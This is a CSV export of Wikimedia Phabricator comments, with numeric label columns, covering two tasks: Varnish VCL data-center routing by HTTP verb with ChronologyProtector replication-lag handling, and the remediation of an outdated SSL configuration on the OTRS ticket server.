+1080620,Create HTTP verb and sticky cookie DC routing in VCL ,"Special:Userlogin starts a session on a GET request so that it can implement CSRF protection on the login form. And that's a localised page name so it's not easy to filter in VCL unless we change the URL in MediaWiki to something more predictable. Not sure if there are other cases, we'd need some sort of audit. If session access is very rare in the secondary DC then could we just tunnel session access to the primary DC, instead of replicating? GET requests causing session creation would be slightly delayed, then the user would get their session cookie and be directed to the primary for subsequent requests.",,,1528265929,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,152,True,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,0
+1079275,Create HTTP verb and sticky cookie DC routing in VCL ,">>! In T91820#4254387, @BBlack wrote:
+> Well, a potential lesser goal that involves fewer moving parts would just be to loadbalance non-sessioned readonly requests (basically cache misses for GET/HEADs with no session token) across the sides, where we basically don't care if content is stale in the replication sense, and leave POST-like methods and all sessioned traffic master-only.
+
+That's surely a less risky first step, and I think it's the best choice for now if we want to go on and turn this functionality on.",,,1528129707,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,152,True,1,0,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,1,1,0,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,1
+1079270,Create HTTP verb and sticky cookie DC routing in VCL ,"Well, a potential lesser goal that involves fewer moving parts would just be to loadbalance non-sessioned readonly requests (basically cache misses for GET/HEADs with no session token) across the sides, where we basically don't care if content is stale in the replication sense, and leave POST-like methods and all sessioned traffic master-only.",,,1528129302,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,152,True,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+1079265,Create HTTP verb and sticky cookie DC routing in VCL ,">>! In T91820#4218746, @Krinkle wrote:
+> There are cases where a cookie doesn't work (specifically, for the log-in use case where there are cross-origin redirects involved from wikipedia.org to login.wikimedia.org).
+> 
+
+Right. So we need a header that makes MediaWiki set a cookie I guess?
+
+> But ignoring that for the moment, I would agree that it seems simpler to:
+> 
+> * On DB write in a request:
+> ** write DB position to local ChronologyProtector store (e.g. memcached, or unreplicated redis).
+
+Why local? We don't really have anything like an ""unreplicated redis""
+
+> ** set cookies `cpPosIndex=..` and `UseDC=master` for the same amount of time.
+> * On GET request in MediaWiki:
+> **  Use ChronologyProtector to wait for any DB position from `cpPosIndex` (like now). Except that we'd use a dc-local CP store, only wait for dc-local DB lag, and don't wait at all if the CP store doesn't have the given key, because we know in that case that it is either already expired or otherwise permanently lost.
+> 
+
+Well, the whole point of what we're trying to do is to attempt not to give the users potentially stale content, not dc-local-not-stale.
+
+Which also makes me wonder: do we need to let MediaWiki write to the sessions from the read-only datacenter? If so, that can't be done with our current session storage system (which has one-way replication only).
+",,,1528129083,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,152,True,1,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1
+1070989,Create HTTP verb and sticky cookie DC routing in VCL ,"There are cases where a cookie doesn't work (specifically, for the log-in use case where there are cross-origin redirects involved from wikipedia.org to login.wikimedia.org).
+
+But ignoring that for the moment, I would agree that it seems simpler to:
+
+* On DB write in a request:
+** write DB position to local ChronologyProtector store (e.g. memcached, or unreplicated redis).
+** set cookies `cpPosIndex=..` and `UseDC=master` for the same amount of time.
+* On GET request in MediaWiki:
+**  Use ChronologyProtector to wait for any DB position from `cpPosIndex` (like now). Except that we'd use a dc-local CP store, only wait for dc-local DB lag, and don't wait at all if the CP store doesn't have the given key, because we know in that case that it is either already expired or otherwise permanently lost.
+
+Instead of:
+* On DB write in a request:
+** write DB position to replicated ChronologyProtector store (redis).
+** set cookies `cpPosIndex=..`
+* On GET request in MediaWiki:
+** If cpPosIndex is not known in local ChronologyProtector store, first wait/poll for the key to be replicated (if ever), with a timeout.
+** Then, once we have that, wait again, for the actual DB position on the local slaves, with a timeout.
+
+The main part that seems problematic here is the polling of the ChronologyProtector store. It's hard to distinguish an error scenario from a lagged scenario, and the impact is stalling user requests, which is very visible. E.g. for cases where the key isn't going to be replicated (already expired, got lost, corrupted client-side, or some other issue). Together each of these factors is fine, but they become somewhat fragile when combined: expiring data, replicated data, and client-side storing of the key.",,,1526804191,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,150,True,1,0,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+1070982,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 434034 abandoned by Tim Starling:
+MW-Replica-Lag response header
+
+Reason:
+Probably not necessary given the other things that already exist
+
+[[https://gerrit.wikimedia.org/r/434034]]",,,1526803589,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,150,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+1070961,Create HTTP verb and sticky cookie DC routing in VCL ,"ChronologyProtector uses ` MySQLMasterPos`, which can work both with a GTID-based master position or with the old binlog-based master position.
+
+I'm not sure, from a very quick skim at the code, which of the two we use, but we need to use the MariaDB GTID everywhere or all requests to the non-master DC from a user with ChronologyProtector data in their session will succeed.
+
+Also, our sessions are replicated by redis; There is no guarantee that the session will have less replication lag than MySql at the moment.
+
+I am starting to wonder if the sticky cookie isn't a better idea.",,,1526792780,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,150,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,1,0,1,1,1,0,1,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+1070828,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 434034 had a related patch set uploaded (by Tim Starling; owner: Tim Starling):
+[mediawiki/core@master] MW-Replica-Lag response header
+
+[[https://gerrit.wikimedia.org/r/434034]]",,,1526749199,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,150,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1070809,Create HTTP verb and sticky cookie DC routing in VCL ,"Currently, ChronologyProtector times out after 10 seconds, this is configurable. Timeout causes ""lagged replica mode"" to be set, and Skin::lastModified() responds to this mode by putting a warning in the page footer.  Maybe OutputPage::output() would be a good place to send a lagged replica mode response header. Note that lagged replica mode will also be set by LoadBalancer::getReaderIndex() if the lag exceeds the ""max lag"" parameter, currently 6 seconds in db-eqiad.php. Is it acceptable to send a retry hint to varnish in either case?",,,1526746921,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,150,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,0
+1070808,Create HTTP verb and sticky cookie DC routing in VCL ,"Currently, ChronologyProtector times out after 10 seconds, this is configurable. Timeout causes ""lagged replica mode"" to be set, and Skin::lastModified() responds to this mode by putting a warning in the page footer.  Maybe OutputPage::output() would be a good place to send a lagged slave mode response header. Note that lagged replica mode will also be set by LoadBalancer::getReaderIndex() if the lag exceeds the ""max lag"" parameter, currently 6 seconds in db-eqiad.php. Is it acceptable to send a retry hint to varnish in either case?",,,1526746833,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,150,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,0
+1070799,Create HTTP verb and sticky cookie DC routing in VCL ,"Right, I forgot, that was discussed as an optimization (vs having ChronologyProtector just timeout -> stale invisibly in a case where we may have some operational issue causing persistent, large replication lag).
+
+If possible, ChronologyProtector could basically return a stale result after some short timeout which includes some kind of ""X-MW-Chronology: Fail"" response header or whatever, and then Varnish could use this hint to retry the request against the master dc and save the user some pain.
+
+ We might need followup discussion about whether it's best to do this always/automatically, vs having the fallback behavior controlled by some ""db lag emergency mode"" runtime switch, as always-on fallback could exacerbate a master-load-induced lag situation (but there are other causal situations where it doesn't hurt).",,,1526745606,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,150,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+1070798,Create HTTP verb and sticky cookie DC routing in VCL ,"haRight, I forgot, that was discussed as an optimization (vs having ChronologyProtector just timeout -> stale invisibly in a case where we may have some operational issue causing persistent, large replication lag).
+
+If possible, ChronologyProtector could basically return a stale result after some short timeout which includes some kind of ""X-MW-Chronology: Fail"" response header or whatever, and then Varnish could use this hint to retry the request against the master dc and save the user some pain.
+
+ We might need followup discussion about whether it's best to do this always/automatically, vs having the fallback behavior controlled by some ""db lag emergency mode"" runtime switch, as always-on fallback could exacerbate a master-load-induced lag situation (but there are other causal situations where it doesn't hurt).",,,1526745595,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,150,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+1070797,Create HTTP verb and sticky cookie DC routing in VCL ,"Right, I forgot, that was discussed as an optimization (vs having ChronologyProtector just timeout -> fail blindly in a case where we may have some operational issue causing persistent, large replication lag).  If possible, ChronologyProtector can basically return a stale result after some short timeout, it should include some kind of ""X-MW-Chronology: Fail"" response header or whatever, and then Varnish could use this hint to retry the request against the master dc and save the user some pain.  We might need followup discussion about whether it's best to do this always/automatically, vs having the fallback behavior controlled by some ""db lag emergency mode"" runtime switch, as it could be that always-on fallback could exacerbate a master-load-induce lag situation (but there are other causal situations where it doesn't hurt).",,,1526745468,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,150,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+1070796,Create HTTP verb and sticky cookie DC routing in VCL ,"Right, I forgot, that was discussed as an optimization (vs having ChronologyProtector just timeout -> fail blindly in a case where we may have some operationalh issue causing persistent, large replication lag).  If possible, ChronologyProtector can basically return a stale result after some short timeout, it should include some kind of ""X-MW-Chronology: Fail"" response header or whatever, and then Varnish could use this hint to retry the request against the master dc and save the user some pain.  We might need followup discussion about whether it's best to do this always/automatically, vs having the fallback behavior controlled by some ""db lag emergency mode"" runtime switch, as it could be that always-on fallback could exacerbate a master-load-induce lag situation (but there are other causal situations where it doesn't hurt).",,,1526745425,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,150,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+1070788,Create HTTP verb and sticky cookie DC routing in VCL ,"About ChronologyProtector: 
+
+- If ChronologyProtector kicks in, it should send back a specific header to varnish
+- in the case the request was not sent to the master DC, it should be retried to the master DC.",,,1526744703,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,150,True,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+1070785,Create HTTP verb and sticky cookie DC routing in VCL ,"Right.  Just to re-state for clarity, the sort of logic we should be implementing in VCL (in the cache layers) will look like this pseudo-code:
+
+```
+if ($local_dc != $master_dc) {
+    if ((req.method !~ ""^(GET|HEAD|OPTIONS)$"" && !req.http.Promise-Non-Write-API-Action) || req.url ~ ""[?&]action=rollback) {
+        use_master_dc();
+    } else {
+        use_local_dc();
+    }
+}
+```",,,1526744375,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,150,True,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,1
+1070784,Create HTTP verb and sticky cookie DC routing in VCL ,"Right.  Just to re-state for clarity, the sort of logic we should be implementing in VCL (in the cache layers) will look like this pseudo-code:
+
+```
+if ($local_dc != $master_dc) {
+    if ((req.method !~ ""^(GET|HEAD|OPTIONS)$"" && ~req.http.Promise-Non-Write-API-Action) || req.url ~ ""[?&]action=rollback) {
+        use_master_dc();
+    } else {
+        use_local_dc();
+    }
+}
+```",,,1526744325,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,150,True,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,1
+1070719,Create HTTP verb and sticky cookie DC routing in VCL ,"I explained ChronologyProtector to @Joe and @BBlack just now. They seemed happy with the idea of not sending a useDC cookie for now, and just relying on ChronologyProtector instead to ensure that the user is presented with an up-to-date view of the site. So the current idea would be to have routing based on HTTP verb, with two exceptions:
+
+* URLs containing action=rollback would be routed to the master DC, to work around T88044. 
+* Requests with the Promise-Non-Write-API-Action header would be routed to the nearest DC regardless of HTTP verb.",,,1526737652,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,150,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,0,1,0,1,0,1,0
+752490,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 247970 abandoned by Ori.livneh:
+varnish: add prototype cookie-based backend selection
+
+[[https://gerrit.wikimedia.org/r/247970]]",,,1477924745,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,69,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+559625,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 248668 merged by jenkins-bot:
+Add header to flag API POST requests with no write intentions
+
+[[https://gerrit.wikimedia.org/r/248668]]",,,1446849087,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,18,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+551752,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 248668 had a related patch set uploaded (by Aaron Schulz):
+Add ?idempotent=1 flag for API modules
+
+[[https://gerrit.wikimedia.org/r/248668]]
+",,,1445755598,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,16,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,1
+550222,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 247970 had a related patch set uploaded (by Ori.livneh):
+varnish: add prototype cookie-based backend selection
+
+[[https://gerrit.wikimedia.org/r/247970]]
+",,,1445488442,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,16,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+91504,SSL-config of the OTRS is outdated,"The SSL-config of the OTRS (ticket.wikimedia.org) is outdated. No PFS, weak key-options and the MAC of the certificate still use SHA1 (the later is not that urgent and can be fixed during the next cert-renewing).
+Because the OTRS contains sensitive data, a SSL-setup that is at least as secure as the SSL-config for Wikipedia is needed. 
+Maybe it would be a good idea to config DNSSEC for that domain too (and if you REALLY in the mood: DANE too).",Medium,50.0,1425479156,1454545556.0,PHID-USER-4nukugv22wnc3p6k557t,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_description,resolved,True,c3,1,False,False,False,-18,True,0,0,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+603533,SSL-config of the OTRS is outdated,">>! In T91504#1996450, @Dzahn wrote:
+> https://www.ssllabs.com/ssltest/analyze.html?d=ticket.wikimedia.org   grade A
+> 
+> @DaBPunkt i would like to claim this is resolved. All the main things you listed when this was created have been addressed meanwhile.
+
+ok.
+
+",,,1454606194,,PHID-USER-4nukugv22wnc3p6k557t,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,False,,,31,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,0,0,0,1
+603055,SSL-config of the OTRS is outdated,"https://www.ssllabs.com/ssltest/analyze.html?d=ticket.wikimedia.org   grade A
+
+@DaBPunkt i would like to claim this is resolved. All the main things you listed when this was created have been addressed meanwhile.
+
+- does not use SHA1, uses SHA256
+- Forward Secrecy  is: 	Yes (with most browsers)   ROBUST
+- EC 256 bits 
+
+and DNSSEC and DANE was listed as a ""if you are in the mood"" and is not going to happen as a special case for just OTRS. if it is it would be a separate and long-term ticket for multiple services.",,,1454545536,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,True,,,31,True,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,1,0
+603045,SSL-config of the OTRS is outdated,"we should check one more time since today OTRS moved to mendelevium.  i think we already fixed everything except the DNSSEC and DANE part before though, as Jan Zerebecki said above. and those parts are probably won't fix.",,,1454544952,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,True,,,31,True,0,1,0,0,1,1,0,0,1,0,1,1,0,0,0,1,1,1,1,1,0,1,1,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0
+531066,SSL-config of the OTRS is outdated,Seems everything from this ticket except DNSSEC and DANE are fixed. Does otrs does its own SMTP?,,,1442774682,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,True,,,11,True,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+530752,SSL-config of the OTRS is outdated,">>! In T91504#1653983, @Krenair wrote:
+> Which depends on {T111532} (actually, it looks to me like this was already done, will comment there in a sec)
+
+It is. It's ""mendelevium"".
+
+https://icinga.wikimedia.org/cgi-bin/icinga/status.cgi?search_string=mendelevium
+
+http://git.wikimedia.org/search/?s=mendelevium&r=operations/puppet.git&st=COMMIT
+
+http://git.wikimedia.org/commit/operations%2Fpuppet.git/8b9c128db3ea99b7ece57ba9a63585a7210186b3",,,1442642121,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,True,,,11,True,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,1,1,1,0,0,0,1
+530425,SSL-config of the OTRS is outdated,"This depends on {T105125}
+Which should be done as part of {T105554}
+Which depends on {T111532} (actually, it looks to me like this was already done, will comment there in a sec)
+Which mentions an OTRS upgrade as one of ops' goals ({T74109} - the previous goal in that objective was completed today) for Q1 2015-2016, so it sounds to me like this has a pretty good chance of getting ops attention this year or maybe next?",,,1442598334,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,True,,,11,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,0
+530424,SSL-config of the OTRS is outdated,"This depends on {T105125}
+Which should be done as part of {T105554}
+Which depends on {T111532} (actually, it looks to me like this was already done, will comment there in a sec)
+Which mentions an OTRS upgrade as one of ops' goals ({T74109} - the previous goal in that objective was completed today), so it sounds to me like this has a pretty good chance of getting ops attention this year or maybe next?",,,1442598287,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-rvm3pm6qayhs7ewsk5pw,task_subcomment,,True,c3,3,True,,,11,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,0
+488828,SSL-config of the OTRS is outdated,">>! In T91504#1437522, @BBlack wrote:
+
+> We don't have a ""domain hoster"", we do this all ourselves in the Operations team. 
+
+I spoke of the provider where you manage the org-domain. But maybe you have an even more direct access (which would simple the DNSSEC also more…)
+
+> Pragmatically speaking, I don't expect much movement on this until at least ""sometime later this year"".
+It is not THAT urgent, if it happens in 2015 that’s more than early enough.
+
